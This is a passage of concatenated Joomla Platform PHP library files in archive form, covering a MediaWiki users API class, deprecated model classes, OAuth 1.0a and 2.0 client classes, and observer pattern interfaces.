$path .= '&ucstart=' . $ucstart;
}
if (isset($ucend))
{
$path .= '&ucend=' . $ucend;
}
if ($uccontinue)
{
$path .= '&uccontinue=';
}
if (isset($ucdir))
{
$path .= '&ucdir=' . $ucdir;
}
if (isset($ucnamespace))
{
$path .= '&ucnamespace=' .
$this->buildParameter($ucnamespace);
}
if (isset($ucprop))
{
$path .= '&ucprop=' . $this->buildParameter($ucprop);
}
if (isset($ucshow))
{
$path .= '&ucshow=' . $this->buildParameter($ucshow);
}
if (isset($uctag))
{
$path .= '&uctag=' . $uctag;
}
if (isset($uctoponly))
{
$path .= '&uctoponly=' . $uctoponly;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to block a user.
*
* @param string $user Username, IP address or IP range you
want to block.
* @param string $expiry Relative expiry time, Default: never.
* @param string $reason Reason for block (optional).
* @param boolean $anononly Block anonymous users only.
* @param boolean $nocreate Prevent account creation.
* @param boolean $autoblock Automatically block the last used IP
address, and any subsequent IP addresses they try to login from.
* @param boolean $noemail Prevent user from sending email
through the wiki.
* @param boolean $hidename Hide the username from the block log.
* @param boolean $allowusertalk Allow the user to edit their own talk
page.
* @param boolean $reblock If the user is already blocked,
overwrite the existing block.
* @param boolean $watchuser Watch the user/IP's user and
talk pages.
*
* @return object
*
* @since 3.1.4
*/
public function blockUser($user, $expiry = null, $reason = null, $anononly
= null, $nocreate = null, $autoblock = null, $noemail = null,
$hidename = null, $allowusertalk = null, $reblock = null, $watchuser =
null)
{
// Get the token.
$token = $this->getToken($user, 'block');
// Build the request path.
$path = '?action=unblock';
// Build the request data.
$data = array(
'user' => $user,
'token' => $token,
'expiry' => $expiry,
'reason' => $reason,
'anononly' => $anononly,
'nocreate' => $nocreate,
'autoblock' => $autoblock,
'noemail' => $noemail,
'hidename' => $hidename,
'allowusetalk' => $allowusertalk,
'reblock' => $reblock,
'watchuser' => $watchuser,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to unblock a user.
*
* @param string $user Username, IP address or IP range you want to
unblock.
* @param string $reason Reason for unblock (optional).
*
* @return object
*
* @since 3.1.4
*/
public function unBlockUserByName($user, $reason = null)
{
// Get the token.
$token = $this->getToken($user, 'unblock');
// Build the request path.
$path = '?action=unblock';
// Build the request data.
$data = array(
'user' => $user,
'token' => $token,
'reason' => $reason,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to unblock a user.
*
* @param int $id Username, IP address or IP range you want to
unblock.
* @param string $reason Reason for unblock (optional).
*
* @return object
*
* @since 3.1.4
*/
public function unBlockUserById($id, $reason = null)
{
// Get the token.
$token = $this->getToken($id, 'unblock');
// Build the request path.
$path = '?action=unblock';
// Build the request data.
// TODO: $data doesn't seem to be used!
$data = array(
'id' => $id,
'token' => $token,
'reason' => $reason,
);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to assign a user to a group.
*
* @param string $username User name.
* @param array $add Add the user to these groups.
* @param array $remove Remove the user from these groups.
* @param string $reason Reason for the change.
*
* @return object
*
* @since 3.1.4
*/
public function assignGroup($username, $add = null, $remove = null,
$reason = null)
{
// Get the token.
$token = $this->getToken($username, 'unblock');
// Build the request path.
$path = '?action=userrights';
// Build the request data.
$data = array(
'username' => $username,
'token' => $token,
'add' => $add,
'remove' => $remove,
'reason' => $reason,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to email a user.
*
* @param string $target User to send email to.
* @param string $subject Subject header.
* @param string $text Mail body.
* @param boolean $ccme Send a copy of this mail to me.
*
* @return object
*
* @since 3.1.4
*/
public function emailUser($target, $subject = null, $text = null, $ccme =
null)
{
// Get the token.
$token = $this->getToken($target, 'emailuser');
// Build the request path.
$path = '?action=emailuser';
// Build the request data.
$data = array(
'target' => $target,
'token' => $token,
'subject' => $subject,
'text' => $text,
'ccme' => $ccme,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to get access token.
*
* @param string $user The User to get token.
* @param string $intoken The type of token.
*
* @return object
*
* @since 3.1.4
*/
public function getToken($user, $intoken)
{
// Build the request path.
$path = '?action=query&prop=info&intoken=' . $intoken .
'&titles=User:' . $user;
// Send the request.
$response = $this->client->post($this->fetchUrl($path), null);
return (string)
$this->validateResponse($response)->query->pages->page[$intoken
. 'token'];
}
}
model/base.php000064400000002507151171674130007301 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Model
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform Base Model Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JModelBase implements JModel
{
/**
* The model state.
*
* @var Registry
* @since 3.0.0
*/
protected $state;
/**
* Instantiate the model.
*
* @param Registry $state The model state.
*
* @since 3.0.0
*/
public function __construct(Registry $state = null)
{
// Setup the model.
$this->state = isset($state) ? $state : $this->loadState();
}
/**
* Get the model state.
*
* @return Registry The state object.
*
* @since 3.0.0
*/
public function getState()
{
return $this->state;
}
/**
* Set the model state.
*
* @param Registry $state The state object.
*
* @return void
*
* @since 3.0.0
*/
public function setState(Registry $state)
{
$this->state = $state;
}
/**
* Load the model state.
*
* @return Registry The state object.
*
* @since 3.0.0
*/
protected function loadState()
{
return new Registry;
}
}
model/database.php000064400000002752151171674130010135 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Model
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform Database Model Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JModelDatabase extends JModelBase
{
/**
* The database driver.
*
* @var JDatabaseDriver
* @since 3.0.0
*/
protected $db;
/**
* Instantiate the model.
*
* @param Registry $state The model state.
* @param JDatabaseDriver $db The database adpater.
*
* @since 3.0.0
*/
public function __construct(Registry $state = null, JDatabaseDriver $db =
null)
{
parent::__construct($state);
// Setup the model.
$this->db = isset($db) ? $db : $this->loadDb();
}
/**
* Get the database driver.
*
* @return JDatabaseDriver The database driver.
*
* @since 3.0.0
*/
public function getDb()
{
return $this->db;
}
/**
* Set the database driver.
*
* @param JDatabaseDriver $db The database driver.
*
* @return void
*
* @since 3.0.0
*/
public function setDb(JDatabaseDriver $db)
{
$this->db = $db;
}
/**
* Load the database driver.
*
* @return JDatabaseDriver The database driver.
*
* @since 3.0.0
*/
protected function loadDb()
{
return JFactory::getDbo();
}
}
model/model.php000064400000001355151171674130007467 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Model
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform Model Interface
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
interface JModel
{
/**
* Get the model state.
*
* @return Registry The state object.
*
* @since 3.0.0
*/
public function getState();
/**
* Set the model state.
*
* @param Registry $state The state object.
*
* @return void
*
* @since 3.0.0
*/
public function setState(Registry $state);
}
oauth1/client.php000064400000033642151171674130007752 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage OAuth1
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with an OAuth 1.0 and 1.0a server.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/oauth1` framework package that will be
bundled instead
*/
abstract class JOAuth1Client
{
/**
* @var Registry Options for the JOAuth1Client object.
* @since 3.2.0
*/
protected $options;
/**
* @var array Contains access token key, secret and verifier.
* @since 3.2.0
*/
protected $token = array();
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JInput The input object to use in retrieving GET/POST data.
* @since 3.2.0
*/
protected $input;
/**
* @var JApplicationWeb The application object to send HTTP headers
for redirects.
* @since 3.2.0
*/
protected $application;
/**
* @var string Selects which version of OAuth to use: 1.0 or 1.0a.
* @since 3.2.0
*/
protected $version;
/**
* Constructor.
*
* @param Registry $options OAuth1Client options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object
* @param JApplicationWeb $application The application object
* @param string $version Specify the OAuth version. By
default we are using 1.0a.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null, JApplicationWeb $application = null,
$version = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client :
JHttpFactory::getHttp($this->options);
$this->input = isset($input) ? $input :
JFactory::getApplication()->input;
$this->application = isset($application) ? $application : new
JApplicationWeb;
$this->version = isset($version) ? $version : '1.0a';
}
/**
* Method to for the oauth flow.
*
* @return array Contains access token key, secret and verifier.
*
* @since 3.2.0
* @throws DomainException
*/
public function authenticate()
{
// Already got some credentials stored?
if ($this->token)
{
$response = $this->verifyCredentials();
if ($response)
{
return $this->token;
}
else
{
$this->token = null;
}
}
// Check for callback.
if (strcmp($this->version, '1.0a') === 0)
{
$verifier = $this->input->get('oauth_verifier');
}
else
{
$verifier = $this->input->get('oauth_token');
}
if (empty($verifier))
{
// Generate a request token.
$this->_generateRequestToken();
// Authenticate the user and authorise the app.
$this->_authorise();
}
// Callback
else
{
$session = JFactory::getSession();
// Get token form session.
$this->token = array('key' =>
$session->get('key', null, 'oauth_token'),
'secret' => $session->get('secret', null,
'oauth_token'));
// Verify the returned request token.
if (strcmp($this->token['key'],
$this->input->get('oauth_token')) !== 0)
{
throw new DomainException('Bad session!');
}
// Set token verifier for 1.0a.
if (strcmp($this->version, '1.0a') === 0)
{
$this->token['verifier'] =
$this->input->get('oauth_verifier');
}
// Generate access token.
$this->_generateAccessToken();
// Return the access token.
return $this->token;
}
}
/**
* Method used to get a request token.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
private function _generateRequestToken()
{
// Set the callback URL.
if ($this->getOption('callback'))
{
$parameters = array(
'oauth_callback' =>
$this->getOption('callback'),
);
}
else
{
$parameters = array();
}
// Make an OAuth request for the Request Token.
$response =
$this->oauthRequest($this->getOption('requestTokenURL'),
'POST', $parameters);
parse_str($response->body, $params);
if (strcmp($this->version, '1.0a') === 0 &&
strcmp($params['oauth_callback_confirmed'], 'true') !==
0)
{
throw new DomainException('Bad request token!');
}
// Save the request token.
$this->token = array('key' =>
$params['oauth_token'], 'secret' =>
$params['oauth_token_secret']);
// Save the request token in session
$session = JFactory::getSession();
$session->set('key', $this->token['key'],
'oauth_token');
$session->set('secret', $this->token['secret'],
'oauth_token');
}
/**
* Method used to authorise the application.
*
* @return void
*
* @since 3.2.0
*/
private function _authorise()
{
$url = $this->getOption('authoriseURL') .
'?oauth_token=' . $this->token['key'];
if ($this->getOption('scope'))
{
$scope = is_array($this->getOption('scope')) ?
implode(' ', $this->getOption('scope')) :
$this->getOption('scope');
$url .= '&scope=' . urlencode($scope);
}
if ($this->getOption('sendheaders'))
{
$this->application->redirect($url);
}
}
/**
* Method used to get an access token.
*
* @return void
*
* @since 3.2.0
*/
private function _generateAccessToken()
{
// Set the parameters.
$parameters = array(
'oauth_token' => $this->token['key'],
);
if (strcmp($this->version, '1.0a') === 0)
{
$parameters = array_merge($parameters, array('oauth_verifier'
=> $this->token['verifier']));
}
// Make an OAuth request for the Access Token.
$response =
$this->oauthRequest($this->getOption('accessTokenURL'),
'POST', $parameters);
parse_str($response->body, $params);
// Save the access token.
$this->token = array('key' =>
$params['oauth_token'], 'secret' =>
$params['oauth_token_secret']);
}
/**
* Method used to make an OAuth request.
*
* @param string $url The request URL.
* @param string $method The request method.
* @param array $parameters Array containing request parameters.
* @param mixed $data The POST request data.
* @param array $headers An array of name-value pairs to include
in the header of the request
*
* @return JHttpResponse
*
* @since 3.2.0
* @throws DomainException
*/
public function oauthRequest($url, $method, $parameters, $data = array(),
$headers = array())
{
// Set the parameters.
$defaults = array(
'oauth_consumer_key' =>
$this->getOption('consumer_key'),
'oauth_signature_method' => 'HMAC-SHA1',
'oauth_version' => '1.0',
'oauth_nonce' => $this->generateNonce(),
'oauth_timestamp' => time(),
);
$parameters = array_merge($parameters, $defaults);
// Do not encode multipart parameters. Do not include $data in the
signature if $data is not array.
if (isset($headers['Content-Type']) &&
strpos($headers['Content-Type'], 'multipart/form-data')
!== false || !is_array($data))
{
$oauth_headers = $parameters;
}
else
{
// Use all parameters for the signature.
$oauth_headers = array_merge($parameters, $data);
}
// Sign the request.
$oauth_headers = $this->_signRequest($url, $method, $oauth_headers);
// Get parameters for the Authorisation header.
if (is_array($data))
{
$oauth_headers = array_diff_key($oauth_headers, $data);
}
// Send the request.
switch ($method)
{
case 'GET':
$url = $this->toUrl($url, $data);
$response = $this->client->get($url,
array('Authorization' =>
$this->_createHeader($oauth_headers)));
break;
case 'POST':
$headers = array_merge($headers, array('Authorization' =>
$this->_createHeader($oauth_headers)));
$response = $this->client->post($url, $data, $headers);
break;
case 'PUT':
$headers = array_merge($headers, array('Authorization' =>
$this->_createHeader($oauth_headers)));
$response = $this->client->put($url, $data, $headers);
break;
case 'DELETE':
$headers = array_merge($headers, array('Authorization' =>
$this->_createHeader($oauth_headers)));
$response = $this->client->delete($url, $headers);
break;
}
// Validate the response code.
$this->validateResponse($url, $response);
return $response;
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
abstract public function validateResponse($url, $response);
/**
* Method used to create the header for the POST request.
*
* @param array $parameters Array containing request parameters.
*
* @return string The header.
*
* @since 3.2.0
*/
private function _createHeader($parameters)
{
$header = 'OAuth ';
foreach ($parameters as $key => $value)
{
if (!strcmp($header, 'OAuth '))
{
$header .= $key . '="' . $this->safeEncode($value) .
'"';
}
else
{
$header .= ', ' . $key . '="' . $value .
'"';
}
}
return $header;
}
/**
* Method to create the URL formed string with the parameters.
*
* @param string $url The request URL.
* @param array $parameters Array containing request parameters.
*
* @return string The formed URL.
*
* @since 3.2.0
*/
public function toUrl($url, $parameters)
{
foreach ($parameters as $key => $value)
{
if (is_array($value))
{
foreach ($value as $v)
{
if (strpos($url, '?') === false)
{
$url .= '?' . $key . '=' . $v;
}
else
{
$url .= '&' . $key . '=' . $v;
}
}
}
else
{
if (strpos($value, ' ') !== false)
{
$value = $this->safeEncode($value);
}
if (strpos($url, '?') === false)
{
$url .= '?' . $key . '=' . $value;
}
else
{
$url .= '&' . $key . '=' . $value;
}
}
}
return $url;
}
/**
* Method used to sign requests.
*
* @param string $url The URL to sign.
* @param string $method The request method.
* @param array $parameters Array containing request parameters.
*
* @return array
*
* @since 3.2.0
*/
private function _signRequest($url, $method, $parameters)
{
// Create the signature base string.
$base = $this->_baseString($url, $method, $parameters);
$parameters['oauth_signature'] = $this->safeEncode(
base64_encode(
hash_hmac('sha1', $base, $this->_prepareSigningKey(),
true)
)
);
return $parameters;
}
/**
* Prepare the signature base string.
*
* @param string $url The URL to sign.
* @param string $method The request method.
* @param array $parameters Array containing request parameters.
*
* @return string The base string.
*
* @since 3.2.0
*/
private function _baseString($url, $method, $parameters)
{
// Sort the parameters alphabetically
uksort($parameters, 'strcmp');
// Encode parameters.
foreach ($parameters as $key => $value)
{
$key = $this->safeEncode($key);
if (is_array($value))
{
foreach ($value as $v)
{
$v = $this->safeEncode($v);
$kv[] = "{$key}={$v}";
}
}
else
{
$value = $this->safeEncode($value);
$kv[] = "{$key}={$value}";
}
}
// Form the parameter string.
$params = implode('&', $kv);
// Signature base string elements.
$base = array(
$method,
$url,
$params,
);
// Return the base string.
return implode('&', $this->safeEncode($base));
}
/**
* Encodes the string or array passed in a way compatible with OAuth.
* If an array is passed each array value will will be encoded.
*
* @param mixed $data The scalar or array to encode.
*
* @return string $data encoded in a way compatible with OAuth.
*
* @since 3.2.0
*/
public function safeEncode($data)
{
if (is_array($data))
{
return array_map(array($this, 'safeEncode'), $data);
}
elseif (is_scalar($data))
{
return str_ireplace(
array('+', '%7E'),
array(' ', '~'),
rawurlencode($data)
);
}
else
{
return '';
}
}
/**
* Method used to generate the current nonce.
*
* @return string The current nonce.
*
* @since 3.2.0
*/
public static function generateNonce()
{
$mt = microtime();
$rand = JCrypt::genRandomBytes();
// The md5s look nicer than numbers.
return md5($mt . $rand);
}
/**
* Prepares the OAuth signing key.
*
* @return string The prepared signing key.
*
* @since 3.2.0
*/
private function _prepareSigningKey()
{
return
$this->safeEncode($this->getOption('consumer_secret')) .
'&' . $this->safeEncode(($this->token) ?
$this->token['secret'] : '');
}
/**
* Returns an HTTP 200 OK response code and a representation of the
requesting user if authentication was successful;
* returns a 401 status code and an error message if not.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
abstract public function verifyCredentials();
/**
* Get an option from the JOauth1aClient instance.
*
* @param string $key The name of the option to get
*
* @return mixed The option value
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JOauth1aClient instance.
*
* @param string $key The name of the option to set
* @param mixed $value The option value to set
*
* @return JOAuth1Client This object for method chaining
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
/**
* Get the oauth token key or secret.
*
* @return array The oauth token key and secret.
*
* @since 3.2.0
*/
public function getToken()
{
return $this->token;
}
/**
* Set the oauth token.
*
* @param array $token The access token key and secret.
*
* @return JOAuth1Client This object for method chaining.
*
* @since 3.2.0
*/
public function setToken($token)
{
$this->token = $token;
return $this;
}
}
oauth2/client.php000064400000022156151171674130007751 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage OAuth2
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with an OAuth 2.0 server.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/oauth2` framework package that will be
bundled instead
*/
class JOAuth2Client
{
/**
* @var Registry Options for the JOAuth2Client object.
* @since 3.1.4
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $http;
/**
* @var JInput The input object to use in retrieving GET/POST data.
* @since 3.1.4
*/
protected $input;
/**
* @var JApplicationWeb The application object to send HTTP headers
for redirects.
* @since 3.1.4
*/
protected $application;
/**
* Constructor.
*
* @param Registry $options JOAuth2Client options object
* @param JHttp $http The HTTP client object
* @param JInput $input The input object
* @param JApplicationWeb $application The application object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JHttp $http = null,
JInput $input = null, JApplicationWeb $application = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->http = isset($http) ? $http : new JHttp($this->options);
$this->application = isset($application) ? $application : new
JApplicationWeb;
$this->input = isset($input) ? $input :
$this->application->input;
}
/**
* Get the access token or redict to the authentication URL.
*
* @return string The access token
*
* @since 3.1.4
* @throws RuntimeException
*/
public function authenticate()
{
if ($data['code'] = $this->input->get('code',
false, 'raw'))
{
$data['grant_type'] = 'authorization_code';
$data['redirect_uri'] =
$this->getOption('redirecturi');
$data['client_id'] =
$this->getOption('clientid');
$data['client_secret'] =
$this->getOption('clientsecret');
$response =
$this->http->post($this->getOption('tokenurl'), $data);
if ($response->code >= 200 && $response->code < 400)
{
if (strpos($response->headers['Content-Type'],
'application/json') === 0)
{
$token = array_merge(json_decode($response->body, true),
array('created' => time()));
}
else
{
parse_str($response->body, $token);
$token = array_merge($token, array('created' => time()));
}
$this->setToken($token);
return $token;
}
else
{
throw new RuntimeException('Error code ' . $response->code
. ' received requesting access token: ' . $response->body .
'.');
}
}
if ($this->getOption('sendheaders'))
{
$this->application->redirect($this->createUrl());
}
return false;
}
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
public function isAuthenticated()
{
$token = $this->getToken();
if (!$token || !array_key_exists('access_token', $token))
{
return false;
}
elseif (array_key_exists('expires_in', $token) &&
$token['created'] + $token['expires_in'] < time() +
20)
{
return false;
}
else
{
return true;
}
}
/**
* Create the URL for authentication.
*
* @return JHttpResponse The HTTP response
*
* @since 3.1.4
* @throws InvalidArgumentException
*/
public function createUrl()
{
if (!$this->getOption('authurl') ||
!$this->getOption('clientid'))
{
throw new InvalidArgumentException('Authorization URL and client_id
are required');
}
$url = $this->getOption('authurl');
if (strpos($url, '?'))
{
$url .= '&';
}
else
{
$url .= '?';
}
$url .= 'response_type=code';
$url .= '&client_id=' .
urlencode($this->getOption('clientid'));
if ($this->getOption('redirecturi'))
{
$url .= '&redirect_uri=' .
urlencode($this->getOption('redirecturi'));
}
if ($this->getOption('scope'))
{
$scope = is_array($this->getOption('scope')) ?
implode(' ', $this->getOption('scope')) :
$this->getOption('scope');
$url .= '&scope=' . urlencode($scope);
}
if ($this->getOption('state'))
{
$url .= '&state=' .
urlencode($this->getOption('state'));
}
if (is_array($this->getOption('requestparams')))
{
foreach ($this->getOption('requestparams') as $key =>
$value)
{
$url .= '&' . $key . '=' . urlencode($value);
}
}
return $url;
}
/**
* Send a signed Oauth request.
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request
* @param array $headers The headers to send with the request
* @param string $method The method with which to send the request
* @param int $timeout The timeout for the request
*
* @return string The URL.
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws RuntimeException
*/
public function query($url, $data = null, $headers = array(), $method =
'get', $timeout = null)
{
$token = $this->getToken();
if (array_key_exists('expires_in', $token) &&
$token['created'] + $token['expires_in'] < time() +
20)
{
if (!$this->getOption('userefresh'))
{
return false;
}
$token = $this->refreshToken($token['refresh_token']);
}
if (!$this->getOption('authmethod') ||
$this->getOption('authmethod') == 'bearer')
{
$headers['Authorization'] = 'Bearer ' .
$token['access_token'];
}
elseif ($this->getOption('authmethod') == 'get')
{
if (strpos($url, '?'))
{
$url .= '&';
}
else
{
$url .= '?';
}
$url .= $this->getOption('getparam') ?
$this->getOption('getparam') : 'access_token';
$url .= '=' . $token['access_token'];
}
switch ($method)
{
case 'head':
case 'get':
case 'delete':
case 'trace':
$response = $this->http->$method($url, $headers, $timeout);
break;
case 'post':
case 'put':
case 'patch':
$response = $this->http->$method($url, $data, $headers, $timeout);
break;
default:
throw new InvalidArgumentException('Unknown HTTP request method:
' . $method . '.');
}
if ($response->code < 200 || $response->code >= 400)
{
throw new RuntimeException('Error code ' . $response->code
. ' received requesting data: ' . $response->body .
'.');
}
return $response;
}
/**
* Get an option from the JOAuth2Client instance.
*
* @param string $key The name of the option to get
*
* @return mixed The option value
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JOAuth2Client instance.
*
* @param string $key The name of the option to set
* @param mixed $value The option value to set
*
* @return JOAuth2Client This object for method chaining
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
/**
* Get the access token from the JOAuth2Client instance.
*
* @return array The access token
*
* @since 3.1.4
*/
public function getToken()
{
return $this->getOption('accesstoken');
}
/**
* Set an option for the JOAuth2Client instance.
*
* @param array $value The access token
*
* @return JOAuth2Client This object for method chaining
*
* @since 3.1.4
*/
public function setToken($value)
{
if (is_array($value) && !array_key_exists('expires_in',
$value) && array_key_exists('expires', $value))
{
$value['expires_in'] = $value['expires'];
unset($value['expires']);
}
$this->setOption('accesstoken', $value);
return $this;
}
/**
* Refresh the access token instance.
*
* @param string $token The refresh token
*
* @return array The new access token
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
*/
public function refreshToken($token = null)
{
if (!$this->getOption('userefresh'))
{
throw new RuntimeException('Refresh token is not supported for this
OAuth instance.');
}
if (!$token)
{
$token = $this->getToken();
if (!array_key_exists('refresh_token', $token))
{
throw new RuntimeException('No refresh token is available.');
}
$token = $token['refresh_token'];
}
$data['grant_type'] = 'refresh_token';
$data['refresh_token'] = $token;
$data['client_id'] = $this->getOption('clientid');
$data['client_secret'] =
$this->getOption('clientsecret');
$response =
$this->http->post($this->getOption('tokenurl'), $data);
if ($response->code >= 200 || $response->code < 400)
{
if (strpos($response->headers['Content-Type'],
'application/json') === 0)
{
$token = array_merge(json_decode($response->body, true),
array('created' => time()));
}
else
{
parse_str($response->body, $token);
$token = array_merge($token, array('created' => time()));
}
$this->setToken($token);
return $token;
}
else
{
throw new Exception('Error code ' . $response->code .
' received refreshing token: ' . $response->body .
'.');
}
}
}
observable/interface.php000064400000003127151171674130011352
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observable Subject pattern interface for Joomla
*
* To make a class and its inheriting classes observable:
* 1) add: implements JObservableInterface
* to its class
*
* 2) at the end of the constructor, add:
* // Create observer updater and attaches all observers interested by
$this class:
* $this->_observers = new JObserverUpdater($this);
* JObserverMapper::attachAllObservers($this);
*
* 3) add the function attachObserver below to your class to add observers
using the JObserverUpdater class:
* public function attachObserver(JObserverInterface $observer)
* {
* $this->_observers->attachObserver($observer);
* }
*
* 4) in the methods that need to be observed, add, e.g. (name of event,
params of event):
* $this->_observers->update('onBeforeLoad', array($keys,
$reset));
*
* @since 3.1.2
*/
interface JObservableInterface
{
/**
* Adds an observer to this JObservableInterface instance.
* Ideally, this method should be called from the constructor of
JObserverInterface
* which should be instantiated by JObserverMapper.
* The implementation of this function can use JObserverUpdater
*
* @param JObserverInterface $observer The observer to attach to $this
observable subject
*
* @return void
*
* @since 3.1.2
*/
public function attachObserver(JObserverInterface $observer);
}
observer/interface.php000064400000004032151171674130011051 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer pattern interface for Joomla
*
* A class that wants to observe another class must:
*
* 1) Add: implements JObserverInterface
* to its class
*
* 2) Implement a constructor, that can look like this:
* public function __construct(JObservableInterface $observableObject)
* {
* $observableObject->attachObserver($this);
* $this->observableObject = $observableObject;
* }
*
* 3) and must implement the instantiator function createObserver() below,
e.g. as follows:
* public static function createObserver(JObservableInterface
$observableObject, $params = array())
* {
* $observer = new self($observableObject);
* $observer->... = $params['...']; ...
* return $observer;
* }
*
* 4) Then add functions corresponding to the events to be observed,
* E.g. to respond to event:
$this->_observers->update('onBeforeLoad', array($keys,
$reset));
* following function is needed in the observer:
* public function onBeforeLoad($keys, $reset) { ... }
*
* 5) Finally, the binding is made outside the observable and observer
classes, using:
* JObserverMapper::addObserverClassToClass('ObserverClassname',
'ObservableClassname', array('paramName' =>
'paramValue'));
* where the last array will be provided to the observer instanciator
function createObserver.
*
* @since 3.1.2
*/
interface JObserverInterface
{
/**
* Creates the associated observer instance and attaches it to the
$observableObject
*
* @param JObservableInterface $observableObject The observable
subject object
* @param array $params Params for this
observer
*
* @return JObserverInterface
*
* @since 3.1.2
*/
public static function createObserver(JObservableInterface
$observableObject, $params = array());
}
observer/mapper.php000064400000004617151171674130010406 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer mapping pattern implementation for Joomla
*
* @since 3.1.2
*/
class JObserverMapper
{
/**
* Array: array( JObservableInterface_classname => array(
JObserverInterface_classname => array( paramname => param, .... ) ) )
*
* @var array
* @since 3.1.2
*/
protected static $observations = array();
/**
* Adds a mapping to observe $observerClass subjects with $observableClass
observer/listener, attaching it on creation with $params
* on $observableClass instance creations
*
* @param string $observerClass The name of the observer
class (implementing JObserverInterface)
* @param string $observableClass The name of the observable
class (implementing JObservableInterface)
* @param array|boolean $params The params to give to the
JObserverInterface::createObserver() function, or false to remove mapping
*
* @return void
*
* @since 3.1.2
*/
public static function addObserverClassToClass($observerClass,
$observableClass, $params = array())
{
if ($params !== false)
{
static::$observations[$observableClass][$observerClass] = $params;
}
else
{
unset(static::$observations[$observableClass][$observerClass]);
}
}
/**
* Attaches all applicable observers to an $observableObject
*
* @param JObservableInterface $observableObject The observable
subject object
*
* @return void
*
* @since 3.1.2
*/
public static function attachAllObservers(JObservableInterface
$observableObject)
{
$observableClass = get_class($observableObject);
while ($observableClass != false)
{
// Attach applicable Observers for the class to the Observable subject:
if (isset(static::$observations[$observableClass]))
{
foreach (static::$observations[$observableClass] as $observerClass
=> $params)
{
// Attach an Observer to the Observable subject:
/**
* @var JObserverInterface $observerClass
*/
$observerClass::createObserver($observableObject, $params);
}
}
// Get parent class name (or false if none), and redo the above on it:
$observableClass = get_parent_class($observableClass);
}
}
}
observer/updater/interface.php000064400000002754151171674130012526
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer updater pattern implementation for Joomla
*
* @since 3.1.2
*/
